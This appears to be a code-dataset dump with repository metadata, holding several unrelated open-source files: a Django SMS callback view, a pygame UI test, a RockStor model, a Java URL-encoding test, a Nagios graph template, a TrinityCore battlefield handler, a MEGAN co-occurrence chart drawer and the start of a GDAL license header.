code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
from datetime import datetime import json import traceback from django.http import HttpResponse from django.template import loader, Context from django.views.decorators.csrf import csrf_exempt from events.models import ScriptEvent, MessageEvent from profiles.models import PhoneNumber, format_phone from sms_messages.models import ScheduledScript, ScriptVariable from services.models import AppApi @csrf_exempt def callback(request): response = {} response['success'] = False response['error'] = { 'description': 'Not yet implemented' } response['parameters'] = {} if request.method == 'POST': message = json.loads(request.POST['message']) if message['action'] == 'fetch_clarification': lang_code = '' phone_number = message['parameters']['recipient'] phone_number = format_phone(phone_number) phone_objs = PhoneNumber.objects.filter(value=phone_number, active=True).order_by('priority') if phone_objs.count() > 0: lang_code = phone_objs[0].profile.primary_language template = None try: template = loader.get_template('clarification_' + lang_code + '.txt') except: template = loader.get_template('clarification.txt') c = Context({ 'message': message }) response['parameters']['clarification'] = template.render(c) response['success'] = True elif message['action'] == 'fetch_unsolicited_response': lang_code = '' phone_number = message['parameters']['recipient'] phone_number = format_phone(phone_number) phone_objs = PhoneNumber.objects.filter(value=phone_number, active=True).order_by('priority') if phone_objs.count() > 0: lang_code = phone_objs[0].profile.primary_language template = None try: template = loader.get_template('unsolicited_response_' + lang_code + '.txt') except: template = loader.get_template('unsolicited_response.txt') c = Context({ 'message': message }) response['parameters']['response'] = template.render(c) response['success'] = True elif message['action'] == 'set_value': script = ScheduledScript.objects.get(session=message['parameters']['session']) event = ScriptEvent(script=script, event='script_session_variable_set', value=json.dumps(message['parameters'])) event.save() variable = ScriptVariable(script=script, key=message['parameters']['key'], value=message['parameters']['value']) variable.save() response['success'] = True response['error']['description'] = '' elif message['action'] == 'log_session_started': script = ScheduledScript.objects.get(session=message['parameters']['session']) script.confirmed_date = datetime.now() script.save() event = ScriptEvent(script=script, event='script_session_started') event.save() response['success'] = True response['error']['description'] = '' elif message['action'] == 'log_receive': event = MessageEvent(type='receive', sender=message['parameters']['sender'], message=message['parameters']['message']) event.save() response['success'] = True response['error']['description'] = '' for app in AppApi.objects.all(): try: api = __import__(app.app_name + '.api', globals(), locals(), ['on_receive'], -1) api.on_receive(message['parameters']['sender'], message['parameters']['message']) except: traceback.print_exc() elif message['action'] == 'log_send': event = MessageEvent(type='send', recipient=message['parameters']['recipient'], message=message['parameters']['message']) event.save() response['success'] = True response['error']['description'] = '' else: request.META['wsgi.errors'].write('TODO: HANDLE ' + message['action']) response['success'] = True return HttpResponse(json.dumps(response), mimetype='application/json')
audaciouscode/SMSBot
smsbot_django/services/views.py
Python
gpl-3.0
4,783
# -*- coding: utf-8 -*- from ui import ui_elements from ui import ui_handler class my_text(ui_elements.Text): def start(self, args): self.set_text(args["text"]) self.set_pos((100, 100)) self.set_size(60) self.set_color((0, 0, 255)) def mouse_enter(self): self.set_color((255, 0, 0)) def mouse_leave(self): self.set_color((0, 0, 255)) #pos = self.get_pos() #new_pos = (pos[0] + 1, pos[1] + 1) #self.set_pos(new_pos) def mouse_down(self, buttons): self.set_color((0, 255, 0)) def mouse_up(self, buttons): self.set_color((0, 0, 255)) def init(screen): MyText = my_text(text="Just a Test UI element") my_handler = ui_handler.Handler(screen) my_handler.register(MyText) return my_handler
c-michi/pygame_ui
test_ui.py
Python
gpl-3.0
722
""" Copyright (c) 2012-2014 RockStor, Inc. <http://rockstor.com> This file is part of RockStor. RockStor is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. RockStor is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ from django.db import models class NetatalkShare(models.Model): YES = 'yes' NO = 'no' """share that is exported""" share = models.OneToOneField('Share', related_name='netatalkshare') """mount point of the share""" path = models.CharField(max_length=4096, unique=True) description = models.CharField(max_length=1024, default='afp on rockstor') BOOLEAN_CHOICES = ( (YES, 'yes'), (NO, 'no'), ) time_machine = models.CharField(max_length=3, choices=BOOLEAN_CHOICES, default=YES) def share_name(self, *args, **kwargs): return self.share.name def share_id(self, *args, **kwargs): return self.share.id @property def vol_size(self): return self.share.size class Meta: app_label = 'storageadmin'
schakrava/rockstor-core
src/rockstor/storageadmin/models/netatalk_share.py
Python
gpl-3.0
1,546
/******************************************************************************* * Copyright (C) 2015, CERN * This software is distributed under the terms of the GNU General Public * License version 3 (GPL Version 3), copied verbatim in the file "LICENSE". * In applying this license, CERN does not waive the privileges and immunities * granted to it by virtue of its status as Intergovernmental Organization * or submit itself to any jurisdiction. * * *******************************************************************************/ import java.io.FileNotFoundException; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import javax.xml.stream.XMLStreamException; public class TestURLEncoder { public static void main(String[] args) throws FileNotFoundException, XMLStreamException, UnsupportedEncodingException { System.out.println(URLEncoder.encode("http://www.w3.org/2000/09/xmldsig#rsa-sha1","iso-8859-1")); char[] temp = fixUrlEncode(); System.out.println(new String(temp)); } public static char[] fixUrlEncode() throws UnsupportedEncodingException { char[] temp = URLEncoder.encode("http://www.w3.org/2000/09/xmldsig#rsa-sha1","iso-8859-1").toCharArray(); for (int i = 0; i < temp.length; i++) { if(temp[i] == '%'){ temp[i+1] = Character.toLowerCase(temp[i+1]); temp[i+2] = Character.toLowerCase(temp[i+2]); } } return temp; } }
cerndb/wls-cern-sso
saml2slo/test/TestURLEncoder.java
Java
gpl-3.0
1,415
<?php # # Plugin: check_centricstor # Author: Rene Koch <r.koch@ovido.at> # Date: 2012/12/06 # $opt[1] = "--vertical-label \"Caches free\" -l 0 --title \"Caches free on $hostname\" --slope-mode -N"; $opt[2] = "--vertical-label \"Caches dirty\" -l 0 --title \"Caches dirty on $hostname\" --slope-mode -N"; $def[1] = ""; $def[2] = ""; # process cache usage statistics foreach ($this->DS as $key=>$val){ $ds = $val['DS']; if (preg_match("/_free/", $val['NAME']) ){ $def[1] .= "DEF:var$key=$RRDFILE[$ds]:$ds:AVERAGE "; $label = preg_split("/_/", $LABEL[$ds]); $def[1] .= "LINE1:var$key#" . color() . ":\"" . $label[0] ." \" "; $def[1] .= "GPRINT:var$key:LAST:\"last\: %3.4lg%% \" "; $def[1] .= "GPRINT:var$key:MAX:\"max\: %3.4lg%% \" "; $def[1] .= "GPRINT:var$key:AVERAGE:\"average\: %3.4lg%% \"\\n "; }else{ $def[2] .= "DEF:var$key=$RRDFILE[$ds]:$ds:AVERAGE "; $label = preg_split("/_/", $LABEL[$ds]); $def[2] .= "LINE1:var$key#" . color() . ":\"" . $label[0] ." \" "; $def[2] .= "GPRINT:var$key:LAST:\"last\: %3.4lg%% \" "; $def[2] .= "GPRINT:var$key:MAX:\"max\: %3.4lg%% \" "; $def[2] .= "GPRINT:var$key:AVERAGE:\"average\: %3.4lg%% \"\\n "; } } # generate html color code function color(){ $color = dechex(rand(0,10000000)); while (strlen($color) < 6){ $color = dechex(rand(0,10000000)); } return $color; } ?>
ovido/check_centricstor
contrib/check_centricstor.php
PHP
gpl-3.0
1,393
/* * Copyright (C) 2011-2012 DarkCore <http://www.darkpeninsula.eu/> * Copyright (C) 2011-2012 Project SkyFire <http://www.projectskyfire.org/> * Copyright (C) 2008-2012 TrinityCore <http://www.trinitycore.org/> * Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "Common.h" #include "ObjectAccessor.h" #include "ObjectMgr.h" #include "WorldPacket.h" #include "WorldSession.h" #include "Battlefield.h" #include "BattlefieldMgr.h" #include "Opcodes.h" //This send to player windows for invite player to join the war //Param1:(BattleId) the BattleId of Bf //Param2:(ZoneId) the zone where the battle is (4197 for wg) //Param3:(time) Time in second that the player have for accept void WorldSession::SendBfInvitePlayerToWar(uint32 BattleId, uint32 ZoneId, uint32 p_time) { //Send packet WorldPacket data(SMSG_BATTLEFIELD_MGR_ENTRY_INVITE, 16); data << uint32(0); data << uint32(ZoneId); data << uint64(BattleId | 0x20000); //Sending the packet to player SendPacket(&data); } //This send invitation to player to join the queue //Param1:(BattleId) the BattleId of Bf void WorldSession::SendBfInvitePlayerToQueue(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_QUEUE_INVITE, 5); data << uint8(0); data << uint8(1); // warmup data << uint32(0); data << uint32(0); data << uint32(0); data << uint32(0); data << uint32(0); data << uint64(BattleId); // BattleId //warmup ? used ? //Sending packet to player SendPacket(&data); } //This send packet for inform player that he join queue //Param1:(BattleId) the BattleId of Bf //Param2:(ZoneId) the zone where the battle is (4197 for wg) void WorldSession::SendBfQueueInviteResponce(uint32 BattleId, uint32 ZoneId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_QUEUE_REQUEST_RESPONSE, 11); data << uint8(0); // unk, Logging In??? data << uint64(BattleId); data << uint32(ZoneId); data << uint64(GetPlayer()->GetGUID()); data << uint8(1); // 1 = accepted, 0 = You cant join queue right now data << uint8(1); // 1 = queued for next battle, 0 = you are queued, please wait... SendPacket(&data); } //This is call when player accept to join war //Param1:(BattleId) the BattleId of Bf void WorldSession::SendBfEntered(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_ENTERED, 7); data << uint32(BattleId); data << uint8(1); //unk data << uint8(1); //unk data << uint8(_player->isAFK()?1:0); //Clear AFK SendPacket(&data); } //Send when player is kick from Battlefield void WorldSession::SendBfLeaveMessage(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_EJECTED, 7); data << uint8(8); //byte Reason data << uint8(2); //byte BattleStatus data << uint64(BattleId); data << uint8(0); //bool Relocated SendPacket(&data); } //Send by client when he click on accept for queue void WorldSession::HandleBfQueueInviteResponse(WorldPacket & recv_data) { uint32 BattleId; uint8 Accepted; recv_data >> BattleId >> Accepted; sLog->outError("HandleQueueInviteResponse: BattleID:%u Accepted:%u", BattleId, Accepted); Battlefield* Bf = sBattlefieldMgr.GetBattlefieldByBattleId(BattleId); if (!Bf) return; if (Accepted) { Bf->PlayerAcceptInviteToQueue(_player); } } //Send by client on clicking in accept or refuse of invitation windows for join game void WorldSession::HandleBfEntryInviteResponse(WorldPacket & recv_data) { uint64 data; uint8 Accepted; recv_data >> Accepted >> data; uint64 BattleId = data &~ 0x20000; Battlefield* Bf= sBattlefieldMgr.GetBattlefieldByBattleId((uint32)BattleId); if(!Bf) return; //If player accept invitation if (Accepted) { Bf->PlayerAcceptInviteToWar(_player); } else { if (_player->GetZoneId() == Bf->GetZoneId()) Bf->KickPlayerFromBf(_player->GetGUID()); } } void WorldSession::HandleBfExitRequest(WorldPacket & recv_data) { uint32 BattleId; recv_data >> BattleId; sLog->outError("HandleBfExitRequest: BattleID:%u ", BattleId); Battlefield* Bf = sBattlefieldMgr.GetBattlefieldByBattleId(BattleId); if (!Bf) return; Bf->AskToLeaveQueue(_player); }
Darkpeninsula/Darkcore-Rebase
src/server/game/Handlers/BattlefieldHandler.cpp
C++
gpl-3.0
4,978
/* * CoOccurrenceDrawer.java Copyright (C) 2021. Daniel H. Huson * * (Some files contain contributions from other authors, who are then mentioned separately.) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ package megan.chart.drawers; import jloda.graph.*; import jloda.graph.algorithms.FruchtermanReingoldLayout; import jloda.swing.util.BasicSwing; import jloda.util.APoint2D; import jloda.util.Basic; import jloda.util.ProgramProperties; import megan.chart.IChartDrawer; import megan.chart.gui.ChartViewer; import megan.chart.gui.SelectionGraphics; import megan.util.ScalingType; import javax.swing.*; import java.awt.*; import java.awt.event.MouseEvent; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import java.awt.geom.Rectangle2D; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; /** * draws a co-occurrence graph * Daniel Huson, 6.2012 */ public class CoOccurrenceDrawer extends BarChartDrawer implements IChartDrawer { public static final String NAME = "CoOccurrencePlot"; public enum Method {Jaccard, PearsonsR, KendallsTau} private int maxRadius = ProgramProperties.get("COMaxRadius", 40); private final Graph graph; private final EdgeArray<Float> edgeValue; private final Color PositiveColor = new Color(0x3F861C); private final Color NegativeColor = new Color(0xFB6542); private final Rectangle2D boundingBox = new Rectangle2D.Double(); private double minThreshold = ProgramProperties.get("COMinThreshold", 0.01d); // min percentage for class private int minProbability = ProgramProperties.get("COMinProbability", 70); // min co-occurrence probability in percent private int minPrevalence = ProgramProperties.get("COMinPrevalence", 10); // minimum prevalence in percent private int maxPrevalence = ProgramProperties.get("COMaxPrevalence", 90); // maximum prevalence in percent private boolean showAntiOccurring = ProgramProperties.get("COShowAntiOccurring", true); private boolean showCoOccurring = ProgramProperties.get("COShowCoOccurring", true); private Method method = Method.valueOf(ProgramProperties.get("COMethod", Method.Jaccard.toString())); /** * constructor */ public CoOccurrenceDrawer() { graph = new Graph(); edgeValue = new EdgeArray<>(graph); setSupportedScalingTypes(ScalingType.LINEAR); } /** * draw heat map with colors representing classes * * @param gc */ public void drawChart(Graphics2D gc) { final SelectionGraphics<String[]> sgc = (gc instanceof SelectionGraphics ? (SelectionGraphics<String[]>) gc : null); int y0 = getHeight() - bottomMargin; int y1 = topMargin; int x0 = leftMargin; int x1 = getWidth() - rightMargin; if (x0 >= x1) return; int leftRightLabelOverhang = (getWidth() > 200 ? 100 : 0); double drawWidth = (getWidth() - 2 * leftRightLabelOverhang); double drawHeight = (getHeight() - topMargin - 20 - 20); // minus extra 20 for bottom toolbar double factorX = drawWidth / boundingBox.getWidth(); double factorY = drawHeight / boundingBox.getHeight(); double dx = leftRightLabelOverhang - factorX * boundingBox.getMinX() + (drawWidth - factorX * boundingBox.getWidth()) / 2; double dy = topMargin + 20 - factorY * boundingBox.getMinY() + (drawHeight - factorY * boundingBox.getHeight()) / 2; Line2D line = new Line2D.Double(); /* gc.setColor(Color.BLUE); gc.drawRect((int) (factorX * boundingBox.getX() + dx) + 3, (int) (factorY * boundingBox.getY() + dy) + 3, (int) (factorX * boundingBox.getWidth()) - 6, (int) (factorY * boundingBox.getHeight()) - 6); */ gc.setColor(Color.BLACK); for (Edge e = graph.getFirstEdge(); e != null; e = graph.getNextEdge(e)) { Node v = e.getSource(); Point2D pv = ((NodeData) v.getData()).getLocation(); Node w = e.getTarget(); Point2D pw = ((NodeData) w.getData()).getLocation(); try { line.setLine(factorX * pv.getX() + dx, factorY * pv.getY() + dy, factorX * pw.getX() + dx, factorY * pw.getY() + dy); gc.setColor(edgeValue.get(e) > 0 ? PositiveColor : NegativeColor); gc.draw(line); if (isShowValues()) { gc.setColor(Color.DARK_GRAY); gc.setFont(getFont(ChartViewer.FontKeys.ValuesFont.toString())); gc.drawString(Basic.removeTrailingZerosAfterDot(String.format("%.4f", edgeValue.get(e))), (int) Math.round(0.5 * factorX * (pv.getX() + pw.getX()) + dx), (int) Math.round(0.5 * factorY * (pv.getY() + pw.getY()) + dy)); } } catch (Exception ex) { Basic.caught(ex); } } double maxPrevalence = 1; for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { Integer prevalence = ((NodeData) v.getData()).getPrevalence(); if (prevalence > maxPrevalence) maxPrevalence = prevalence; } // draw all nodes in white to mask edges for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; gc.setColor(Color.WHITE); // don't want to see the edges behind the nodes gc.fillOval(oval[0], oval[1], oval[2], oval[3]); } // draw all nodes in color: for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { String className = ((NodeData) v.getData()).getLabel(); Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; Color color = getChartColors().getClassColor(class2HigherClassMapper.get(className), 150); gc.setColor(color); if (sgc != null) sgc.setCurrentItem(new String[]{null, className}); gc.fillOval(oval[0], oval[1], oval[2], oval[3]); if (sgc != null) sgc.clearCurrentItem(); boolean isSelected = getChartData().getChartSelection().isSelected(null, className); if (isSelected) { gc.setColor(ProgramProperties.SELECTION_COLOR); if (oval[2] <= 1) { oval[0] -= 1; oval[1] -= 1; oval[2] += 2; oval[3] += 2; } gc.setStroke(HEAVY_STROKE); gc.drawOval(oval[0], oval[1], oval[2], oval[3]); gc.setStroke(NORMAL_STROKE); } else { gc.setColor(color.darker()); gc.drawOval(oval[0], oval[1], oval[2], oval[3]); } if ((showValues && value > 0) || isSelected) { String label = "" + prevalence; valuesList.add(new DrawableValue(label, oval[0] + oval[2] + 2, oval[1] + oval[3] / 2, isSelected)); } } // show labels if requested if (isShowXAxis()) { gc.setFont(getFont(ChartViewer.FontKeys.XAxisFont.toString())); for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { String className = ((NodeData) v.getData()).getLabel(); Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; Dimension labelSize = BasicSwing.getStringSize(gc, className, gc.getFont()).getSize(); int x = (int) Math.round(oval[0] + oval[2] / 2.0 - labelSize.getWidth() / 2); int y = oval[1] - 2; if (getChartData().getChartSelection().isSelected(null, className)) { gc.setColor(ProgramProperties.SELECTION_COLOR); fillAndDrawRect(gc, x, y, labelSize.width, labelSize.height, 0, ProgramProperties.SELECTION_COLOR, ProgramProperties.SELECTION_COLOR_DARKER); } gc.setColor(getFontColor(ChartViewer.FontKeys.XAxisFont.toString(), Color.BLACK)); if (sgc != null) sgc.setCurrentItem(new String[]{null, className}); gc.drawString(className, x, y); if (sgc != null) sgc.clearCurrentItem(); } } if (valuesList.size() > 0) { gc.setFont(getFont(ChartViewer.FontKeys.YAxisFont.toString())); gc.setFont(getFont(ChartViewer.FontKeys.ValuesFont.toString())); DrawableValue.drawValues(gc, valuesList, false, true); valuesList.clear(); } } /** * draw heat map with colors representing series * * @param gc */ public void drawChartTransposed(Graphics2D gc) { gc.setFont(getFont(ChartViewer.FontKeys.XAxisFont.toString())); } /** * update the view */ public void updateView() { // todo: may need to this in a separate thread updateGraph(); embedGraph(); } /** * computes the co-occurrences graph */ private void updateGraph() { graph.clear(); Map<String, Node> className2Node = new HashMap<>(); // setup nodes for (String aClassName : getChartData().getClassNames()) { int numberOfSeriesContainingClass = 0; for (String series : getChartData().getSeriesNames()) { final double percentage = 100.0 * getChartData().getValue(series, aClassName).doubleValue() / getChartData().getTotalForSeries(series); if (percentage >= getMinThreshold()) numberOfSeriesContainingClass++; } final double percentageOfSeriesContainingClass = 100.0 * numberOfSeriesContainingClass / (double) getChartData().getNumberOfSeries(); if (percentageOfSeriesContainingClass >= getMinPrevalence() && percentageOfSeriesContainingClass <= getMaxPrevalence()) { final Node v = graph.newNode(); final NodeData nodeData = new NodeData(); nodeData.setLabel(aClassName); v.setData(nodeData); className2Node.put(aClassName, v); nodeData.setPrevalence(numberOfSeriesContainingClass); } } final String[] series = getChartData().getSeriesNames().toArray(new String[0]); final int n = series.length; if (n >= 2) { // setup edges for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { final String classA = ((NodeData) v.getData()).getLabel(); for (Node w = v.getNext(); w != null; w = w.getNext()) { final String classB = ((NodeData) w.getData()).getLabel(); final float score; switch (method) { default: case Jaccard: { final Set<String> intersection = new HashSet<>(); final Set<String> union = new HashSet<>(); for (String series1 : series) { double total = getChartData().getTotalForSeries(series1); double percentage1 = 100.0 * getChartData().getValue(series1, classA).doubleValue() / total; double percentage2 = 100.0 * getChartData().getValue(series1, classB).doubleValue() / total; if (percentage1 >= getMinThreshold() || percentage2 >= getMinThreshold()) { union.add(series1); } if (percentage1 > getMinThreshold() && percentage2 >= getMinThreshold()) { intersection.add(series1); } } if (union.size() > 0) { final boolean positive; if (isShowCoOccurring() && !isShowAntiOccurring()) positive = true; else if (!isShowCoOccurring() && isShowAntiOccurring()) positive = false; else positive = (intersection.size() >= 0.5 * union.size()); if (positive) score = ((float) intersection.size() / (float) union.size()); else score = -((float) (union.size() - intersection.size()) / (float) union.size()); } else score = 0; break; } case PearsonsR: { double meanA = 0; double meanB = 0; for (String series1 : series) { meanA += getChartData().getValue(series1, classA).doubleValue(); meanB += getChartData().getValue(series1, classB).doubleValue(); } meanA /= n; meanB /= n; double valueTop = 0; double valueBottomA = 0; double valueBottomB = 0; for (String series1 : series) { final double a = getChartData().getValue(series1, classA).doubleValue(); final double b = getChartData().getValue(series1, classB).doubleValue(); valueTop += (a - meanA) * (b - meanB); valueBottomA += (a - meanA) * (a - meanA); valueBottomB += (b - meanB) * (b - meanB); } valueBottomA = Math.sqrt(valueBottomA); valueBottomB = Math.sqrt(valueBottomB); score = (float) (valueTop / (valueBottomA * valueBottomB)); break; } case KendallsTau: { int countConcordant = 0; int countDiscordant = 0; for (int i = 0; i < series.length; i++) { String series1 = series[i]; double aIn1 = getChartData().getValue(series1, classA).doubleValue(); double bIn1 = getChartData().getValue(series1, classB).doubleValue(); for (int j = i + 1; j < series.length; j++) { String series2 = series[j]; double aIn2 = getChartData().getValue(series2, classA).doubleValue(); double bIn2 = getChartData().getValue(series2, classB).doubleValue(); if (aIn1 != aIn2 && bIn1 != bIn2) { if ((aIn1 < aIn2) == (bIn1 < bIn2)) countConcordant++; else countDiscordant++; } } } if (countConcordant + countDiscordant > 0) score = (float) (countConcordant - countDiscordant) / (float) (countConcordant + countDiscordant); else score = 0; //System.err.println(classA+" vs "+classB+": conc: "+countConcordant+" disc: "+countDiscordant+" score: "+score); } break; } if (showCoOccurring && 100 * score >= getMinProbability() || showAntiOccurring && -100 * score >= getMinProbability()) { Edge e = graph.newEdge(className2Node.get(classA), className2Node.get(classB)); graph.setInfo(e, score); edgeValue.put(e, score); // negative value indicates anticorrelated } } } } } /** * do embedding of graph */ private void embedGraph() { final FruchtermanReingoldLayout fruchtermanReingoldLayout = new FruchtermanReingoldLayout(graph, null); final NodeArray<APoint2D<?>> coordinates = new NodeArray<>(graph); fruchtermanReingoldLayout.apply(1000, coordinates); boolean first = true; for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { NodeData nodeData = (NodeData) v.getData(); nodeData.setLocation(coordinates.get(v).getX(), coordinates.get(v).getY()); if (first) { boundingBox.setRect(coordinates.get(v).getX(), coordinates.get(v).getY(), 1, 1); first = false; } else boundingBox.add(coordinates.get(v).getX(), coordinates.get(v).getY()); } boundingBox.setRect(boundingBox.getX() - maxRadius, boundingBox.getY() - maxRadius, boundingBox.getWidth() + 2 * maxRadius, boundingBox.getHeight() + 2 * maxRadius); } public int getMaxRadius() { return maxRadius; } public void setMaxRadius(int maxRadius) { this.maxRadius = maxRadius; } /** * draw the x axis * * @param gc */ protected void drawXAxis(Graphics2D gc) { } /** * draw the y-axis * * @param gc */ protected void drawYAxis(Graphics2D gc, Dimension size) { } protected void drawYAxisGrid(Graphics2D gc) { } public boolean canShowLegend() { return false; } public double getMinThreshold() { return minThreshold; } public void setMinThreshold(float minThreshold) { this.minThreshold = minThreshold; ProgramProperties.put("COMinThreshold", minThreshold); } public int getMinProbability() { return minProbability; } public void setMinProbability(int minProbability) { this.minProbability = minProbability; ProgramProperties.put("COMinProbability", minProbability); } public int getMinPrevalence() { return minPrevalence; } public void setMinPrevalence(int minPrevalence) { this.minPrevalence = minPrevalence; ProgramProperties.put("COMinPrevalence", minPrevalence); } public int getMaxPrevalence() { return maxPrevalence; } public void setMaxPrevalence(int maxPrevalence) { this.maxPrevalence = maxPrevalence; ProgramProperties.put("COMaxPrevalence", maxPrevalence); } public void setShowAntiOccurring(boolean showAntiOccurring) { this.showAntiOccurring = showAntiOccurring; ProgramProperties.put("COShowAntiOccurring", showAntiOccurring); } public boolean isShowAntiOccurring() { return showAntiOccurring; } public boolean isShowCoOccurring() { return showCoOccurring; } public void setShowCoOccurring(boolean showCoOccurring) { this.showCoOccurring = showCoOccurring; ProgramProperties.put("COShowCoOccurring", showCoOccurring); } public Method getMethod() { return method; } public void setMethod(Method method) { this.method = method; ProgramProperties.put("COMethod", method.toString()); } static class NodeData { private String label; private Integer prevalence; private Point2D location; String getLabel() { return label; } void setLabel(String label) { this.label = label; } Integer getPrevalence() { return prevalence; } void setPrevalence(Integer prevalence) { this.prevalence = prevalence; } Point2D getLocation() { return location; } public void setLocation(Point2D location) { this.location = location; } void setLocation(double x, double y) { this.location = new Point2D.Double(x, y); } } /** * must x and y coordinates by zoomed together? * * @return */ @Override public boolean isXYLocked() { return true; } /** * selects all nodes in the connected component hit by the mouse * * @param event * @return true if anything selected */ public boolean selectComponent(MouseEvent event) { final SelectionGraphics<String[]> selectionGraphics = new SelectionGraphics<>(getGraphics()); selectionGraphics.setMouseLocation(event.getPoint()); if (transpose) drawChartTransposed(selectionGraphics); else drawChart(selectionGraphics); Set<String> seriesToSelect = new HashSet<>(); Set<String> classesToSelect = new HashSet<>(); int count = 0; int size = selectionGraphics.getSelectedItems().size(); for (String[] pair : selectionGraphics.getSelectedItems()) { if (selectionGraphics.getUseWhich() == SelectionGraphics.Which.Last && count++ < size - 1) continue; if (pair[0] != null) { seriesToSelect.add(pair[0]); } if (pair[1] != null) { classesToSelect.add(pair[1]); } if (selectionGraphics.getUseWhich() == SelectionGraphics.Which.First) break; } if (transpose) { } else { Set<Node> toVisit = new HashSet<>(); for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { NodeData nodeData = (NodeData) v.getData(); if (classesToSelect.contains(nodeData.getLabel())) { toVisit.add(v); } } while (toVisit.size() > 0) { Node v = toVisit.iterator().next(); toVisit.remove(v); selectRec(v, classesToSelect); } } if (seriesToSelect.size() > 0) getChartData().getChartSelection().setSelectedSeries(seriesToSelect, true); if (classesToSelect.size() > 0) getChartData().getChartSelection().setSelectedClass(classesToSelect, true); return seriesToSelect.size() > 0 || classesToSelect.size() > 0; } /** * recursively select all nodes in the same component * * @param v * @param selected */ private void selectRec(Node v, Set<String> selected) { for (Edge e = v.getFirstAdjacentEdge(); e != null; e = v.getNextAdjacentEdge(e)) { Node w = e.getOpposite(v); String label = ((NodeData) w.getData()).getLabel(); if (!selected.contains(label)) { selected.add(label); selectRec(w, selected); } } } /** * gets all the labels shown in the graph * * @return labels */ public Set<String> getAllVisibleLabels() { Set<String> labels = new HashSet<>(); for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { labels.add(((NodeData) v.getData()).getLabel()); } return labels; } @Override public JToolBar getBottomToolBar() { return new CoOccurrenceToolBar(viewer, this); } @Override public ScalingType getScalingTypePreference() { return ScalingType.SQRT; } @Override public String getChartDrawerName() { return NAME; } }
danielhuson/megan-ce
src/megan/chart/drawers/CoOccurrenceDrawer.java
Java
gpl-3.0
27,067
/****************************************************************************** * * Project: FYBA Callbacks * Purpose: Needed by FYBA - however we do not want to display most messages * Author: Thomas Hirsch, <thomas.hirsch statkart no> * ****************************************************************************** * Copyright (c) 2010, Thomas Hirsch * Copyright (c) 2010, Even Rouault <even dot rouault at spatialys.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 